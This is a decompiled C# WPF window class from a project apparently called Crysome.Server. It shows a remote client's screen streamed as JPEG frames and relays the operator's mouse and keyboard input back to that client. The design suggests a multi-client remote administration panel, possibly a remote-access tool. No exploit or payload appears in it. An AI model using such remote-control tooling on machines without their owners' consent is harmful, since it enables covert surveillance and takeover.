using System; using System.CodeDom.Compiler; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Windows; using System.Windows.Controls; using System.Windows.Controls.Primitives; using System.Windows.Input; using System.Windows.Markup; using System.Windows.Media.Imaging; using System.Windows.Threading; using Crysome.Common.Network.Packets.Client; using Crysome.Server.Model; using Crysome.Server.ViewModel; using Wpf.Ui.Controls; namespace Crysome.Server.View; public class RemoteDesktopWindow : FluentWindow, IComponentConnector { private readonly ClientInfo _client; private readonly ManageClientsViewModel _vm; private int _remoteWidth = 1920; private int _remoteHeight = 1080; private bool _streaming; private volatile byte[] _latestJpeg; private System.Windows.Media.Imaging.WriteableBitmap _writeableBitmap; private System.Drawing.Bitmap _decodeBitmap; private readonly object _frameLock = new object(); private bool _renderHooked; private ScreenInfo[] _screens; private DateTime _lastMouseMove = DateTime.MinValue; private System.Windows.Controls.ComboBox _captureModeCombo; internal TextBlock TitleText; internal ComboBox ScreenCombo; internal Button StartBtn; internal Button StopBtn; internal Button MinimizeBtn; internal Button MaximizeBtn; internal Button CloseBtn; internal Border DesktopArea; internal Viewbox DesktopViewbox; internal Image DesktopImage; internal TextBlock StatusText; internal TextBlock QualityText; internal ToggleSwitch MouseControlSwitch; internal ToggleSwitch KeyboardControlSwitch; private bool _contentLoaded; public RemoteDesktopWindow(ClientInfo client, ManageClientsViewModel vm) { InitializeComponent(); _client = client; _vm = vm; ((Window)this).Title = "Remote Desktop — " + (client?.Address ?? "?"); TitleText.Text = ((Window)this).Title; // Find the parent of ScreenCombo to insert our capture mode combo var screenParent = System.Windows.Media.VisualTreeHelper.GetParent(ScreenCombo) as System.Windows.Controls.Panel; if (screenParent != null) { _captureModeCombo = new System.Windows.Controls.ComboBox(); _captureModeCombo.Items.Add("Auto (DXGI → GDI+)"); _captureModeCombo.Items.Add("DXGI Only"); _captureModeCombo.Items.Add("GDI+ Only"); _captureModeCombo.SelectedIndex = 0; _captureModeCombo.Width = 160; _captureModeCombo.Margin = new Thickness(8, 0, 0, 0); // Insert after ScreenCombo int idx = screenParent.Children.IndexOf(ScreenCombo); if (idx >= 0) screenParent.Children.Insert(idx + 1, _captureModeCombo); else screenParent.Children.Add(_captureModeCombo); } ((UIElement)this).AddHandler(UIElement.PreviewKeyDownEvent, (Delegate)new KeyEventHandler(OnPreviewKeyDown), true); ((UIElement)this).AddHandler(UIElement.PreviewKeyUpEvent, (Delegate)new KeyEventHandler(OnPreviewKeyUp), true); ((Window)this).Closed += delegate { if (_renderHooked) { _renderHooked = false; System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender; } if (_streaming) { _vm.StopRemoteDesktop(_client); } _vm.UnregisterDesktopFrames(_client); try { _decodeBitmap?.Dispose(); } catch { } }; ((FrameworkElement)this).Loaded += delegate { RequestScreenList(); }; } private void RequestScreenList() { ScreenCombo.Items.Clear(); ScreenCombo.Items.Add("Loading..."); ScreenCombo.SelectedIndex = 0; ScreenCombo.IsEnabled = false; _vm.GetScreens(_client, delegate(ScreensResponsePacket resp) { _screens = ((resp != null) ? resp.Screens : null); ScreenCombo.Items.Clear(); if (_screens == null || _screens.Length == 0) { ScreenCombo.Items.Add("Primary (default)"); ScreenCombo.SelectedIndex = 0; } else { for (int i = 0; i < _screens.Length; i++) { ScreenInfo val = _screens[i]; string text = "Screen " + (i + 1) + " (" + val.Width + "x" + val.Height + ")"; if (val.IsPrimary) { text += " ★"; } ScreenCombo.Items.Add(text); } for (int j = 0; j < _screens.Length; j++) { if (_screens[j].IsPrimary) { ScreenCombo.SelectedIndex = j; break; } } if (ScreenCombo.SelectedIndex < 0) { ScreenCombo.SelectedIndex = 0; } } ScreenCombo.IsEnabled = true; }); } private int GetSelectedScreenIndex() { if (_screens == null || _screens.Length == 0) { return -1; } int selectedIndex = ScreenCombo.SelectedIndex; if (selectedIndex < 0 || selectedIndex >= _screens.Length) { return -1; } return selectedIndex; } private void OnPreviewKeyDown(object sender, KeyEventArgs e) { //IL_0031: Unknown result type (might be due to invalid IL or missing references) if (!_streaming) { return; } ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive) { int num = KeyInterop.VirtualKeyFromKey(e.Key); if (num >= 0 && num <= 255) { _vm.SendRemoteInput(_client, 3, 0, 0, num); e.Handled = true; } } } private void OnPreviewKeyUp(object sender, KeyEventArgs e) { //IL_0031: Unknown result type (might be due to invalid IL or missing references) if (!_streaming) { return; } ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive) { int num = KeyInterop.VirtualKeyFromKey(e.Key); if (num >= 0 && num <= 255) { _vm.SendRemoteInput(_client, 4, 0, 0, num); e.Handled = true; } } } private void StartBtn_Click(object sender, RoutedEventArgs e) { _streaming = true; ((UIElement)(object)StartBtn).IsEnabled = false; ((UIElement)(object)StopBtn).IsEnabled = true; ScreenCombo.IsEnabled = false; byte captureMode = (byte)(_captureModeCombo?.SelectedIndex ?? 0); string modeName = captureMode == 1 ? "DXGI" : captureMode == 2 ? "GDI+" : "Auto"; StatusText.Text = $"Streaming ({modeName})... Click on image to control mouse/keyboard."; QualityText.Text = "Quality: HD (80)"; DesktopArea?.Focus(); int selectedScreenIndex = GetSelectedScreenIndex(); if (!_renderHooked) { _renderHooked = true; System.Windows.Media.CompositionTarget.Rendering += OnVsyncRender; } _vm.StartRemoteDesktop(_client, 16, selectedScreenIndex, captureMode, delegate(byte[] imageData) { if (imageData != null && imageData.Length > 0) _latestJpeg = imageData; }, delegate(int quality) { string text = ((quality >= 70) ? "HD" : ((quality >= 50) ? "Medium" : ((quality >= 35) ? "Low" : "Very Low"))); int num = ((quality >= 80) ? 30 : ((quality >= 65) ? 10 : ((quality >= 50) ? 5 : ((quality >= 35) ? 3 : 2)))); QualityText.Text = "Quality: " + text + " (" + quality + " / " + num + " fps)"; }); } private void OnVsyncRender(object sender, EventArgs e) { if (!_streaming) return; byte[] jpeg = _latestJpeg; if (jpeg == null) return; _latestJpeg = null; try { using (var ms = new MemoryStream(jpeg)) { var bmp = _decodeBitmap; if (bmp != null) { try { bmp.Dispose(); } catch { } } _decodeBitmap = new System.Drawing.Bitmap(ms); bmp = _decodeBitmap; int w = bmp.Width; int h = bmp.Height; if (_writeableBitmap == null || _writeableBitmap.PixelWidth != w || _writeableBitmap.PixelHeight != h) { _writeableBitmap = new System.Windows.Media.Imaging.WriteableBitmap( w, h, 96, 96, System.Windows.Media.PixelFormats.Bgr24, null); DesktopImage.Source = _writeableBitmap; _remoteWidth = w; _remoteHeight = h; } var bmpData = bmp.LockBits( new System.Drawing.Rectangle(0, 0, w, h), System.Drawing.Imaging.ImageLockMode.ReadOnly, System.Drawing.Imaging.PixelFormat.Format24bppRgb); _writeableBitmap.Lock(); try { IntPtr src = bmpData.Scan0; IntPtr dst = _writeableBitmap.BackBuffer; int srcStride = bmpData.Stride; int dstStride = _writeableBitmap.BackBufferStride; if (srcStride == dstStride) { unsafe { Buffer.MemoryCopy((void*)src, (void*)dst, dstStride * h, srcStride * h); } } else { int copyLen = Math.Min(srcStride, dstStride); for (int y = 0; y < h; y++) { unsafe { Buffer.MemoryCopy( (byte*)src + y * srcStride, (byte*)dst + y * dstStride, copyLen, copyLen); } } } _writeableBitmap.AddDirtyRect(new System.Windows.Int32Rect(0, 0, w, h)); } finally { _writeableBitmap.Unlock(); bmp.UnlockBits(bmpData); } } } catch { } } private void StopBtn_Click(object sender, RoutedEventArgs e) { _streaming = false; ((UIElement)(object)StartBtn).IsEnabled = true; ((UIElement)(object)StopBtn).IsEnabled = false; ScreenCombo.IsEnabled = true; _vm.StopRemoteDesktop(_client); _vm.UnregisterDesktopFrames(_client); if (_renderHooked) { _renderHooked = false; System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender; } _latestJpeg = null; try { _decodeBitmap?.Dispose(); } catch { } _decodeBitmap = null; _writeableBitmap = null; DesktopImage.Source = null; StatusText.Text = "Stopped."; QualityText.Text = ""; } private void MinimizeBtn_Click(object sender, RoutedEventArgs e) { ((Window)this).WindowState = WindowState.Minimized; } private void MaximizeBtn_Click(object sender, RoutedEventArgs e) { if (((Window)this).WindowState == WindowState.Maximized) { ((Window)this).WindowState = WindowState.Normal; ((ContentControl)(object)MaximizeBtn).Content = "□"; ((FrameworkElement)(object)MaximizeBtn).ToolTip = "Maximize"; } else { ((Window)this).WindowState = WindowState.Maximized; ((ContentControl)(object)MaximizeBtn).Content = "❒"; ((FrameworkElement)(object)MaximizeBtn).ToolTip = "Restore"; } } private void CloseBtn_Click(object sender, RoutedEventArgs e) { ((Window)this).Close(); } private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { try { ((Window)this).DragMove(); } catch { } } private void ImageToRemoteCoords(Point p, out int x, out int y) { double actualWidth = DesktopViewbox.ActualWidth; double actualHeight = DesktopViewbox.ActualHeight; if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0) { x = 0; y = 0; return; } double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight); double num2 = (double)_remoteWidth * num; double num3 = (double)_remoteHeight * num; double num4 = (actualWidth - num2) / 2.0; double num5 = (actualHeight - num3) / 2.0; x = (int)((p.X - num4) / num); y = (int)((p.Y - num5) / num); if (x < 0) { x = 0; } if (x >= _remoteWidth) { x = _remoteWidth - 1; } if (y < 0) { y = 0; } if (y >= _remoteHeight) { y = _remoteHeight - 1; } } private void DesktopImage_MouseMove(object sender, MouseEventArgs e) { //IL_005e: Unknown result type (might be due to invalid IL or missing references) if (!_streaming) { return; } ToggleSwitch mouseControlSwitch = MouseControlSwitch; if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) { DateTime utcNow = DateTime.UtcNow; if (!((utcNow - _lastMouseMove).TotalMilliseconds < 16.0)) { _lastMouseMove = utcNow; ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y); _vm.SendRemoteInput(_client, 0, x, y, 0); } } } private void DesktopImage_MouseDown(object sender, MouseButtonEventArgs e) { //IL_0030: Unknown result type (might be due to invalid IL or missing references) if (_streaming) { ToggleSwitch mouseControlSwitch = MouseControlSwitch; if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) { ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y); int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2); _vm.SendRemoteInput(_client, 1, x, y, buttonOrKey); } } } private void DesktopImage_MouseUp(object sender, MouseButtonEventArgs e) { //IL_0030: Unknown result type (might be due to invalid IL or missing references) if (_streaming) { ToggleSwitch mouseControlSwitch = MouseControlSwitch; if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) { ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y); int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2); _vm.SendRemoteInput(_client, 2, x, y, buttonOrKey); } } } private void DesktopArea_Focus(object sender, MouseButtonEventArgs e) { DesktopArea?.Focus(); } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] public void InitializeComponent() { if (!_contentLoaded) { _contentLoaded = true; Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotedesktopwindow.xaml", UriKind.Relative); Application.LoadComponent(this, resourceLocator); } } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] [EditorBrowsable(EditorBrowsableState.Never)] void IComponentConnector.Connect(int connectionId, object target) { //IL_007d: Unknown result type (might be due to invalid IL or missing references) //IL_0087: Expected O, but got Unknown //IL_00a1: Unknown result type (might be due to invalid IL or missing references) //IL_00ab: Expected O, but got Unknown //IL_00c5: Unknown result type (might be due to invalid IL or missing references) //IL_00cf: Expected O, but got Unknown //IL_00e9: Unknown result type (might be due to invalid IL or missing references) //IL_00f3: Expected O, but got Unknown //IL_010d: Unknown result type (might be due to invalid IL or missing references) //IL_0117: Expected O, but got Unknown //IL_01fc: Unknown result type (might be due to invalid IL or missing references) //IL_0206: Expected O, but got Unknown //IL_0209: Unknown result type (might be due to invalid IL or missing references) //IL_0213: Expected O, but got Unknown switch (connectionId) { case 1: ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; break; case 2: TitleText = (TextBlock)target; break; case 3: ScreenCombo = (ComboBox)target; break; case 4: StartBtn = (Button)target; ((ButtonBase)(object)StartBtn).Click += StartBtn_Click; break; case 5: StopBtn = (Button)target; ((ButtonBase)(object)StopBtn).Click += StopBtn_Click; break; case 6: MinimizeBtn = (Button)target; ((ButtonBase)(object)MinimizeBtn).Click += MinimizeBtn_Click; break; case 7: MaximizeBtn = (Button)target; ((ButtonBase)(object)MaximizeBtn).Click += MaximizeBtn_Click; break; case 8: CloseBtn = (Button)target; ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; break; case 9: DesktopArea = (Border)target; DesktopArea.MouseLeftButtonDown += DesktopArea_Focus; break; case 10: DesktopViewbox = (Viewbox)target; break; case 11: DesktopImage = (Image)target; DesktopImage.MouseMove += DesktopImage_MouseMove; DesktopImage.MouseLeftButtonDown += DesktopImage_MouseDown; DesktopImage.MouseLeftButtonUp += DesktopImage_MouseUp; DesktopImage.MouseRightButtonDown += DesktopImage_MouseDown; DesktopImage.MouseRightButtonUp += DesktopImage_MouseUp; break; case 12: StatusText = (TextBlock)target; break; case 13: QualityText = (TextBlock)target; break; case 14: MouseControlSwitch = (ToggleSwitch)target; break; case 15: KeyboardControlSwitch = (ToggleSwitch)target; break; default: _contentLoaded = true; break; } } }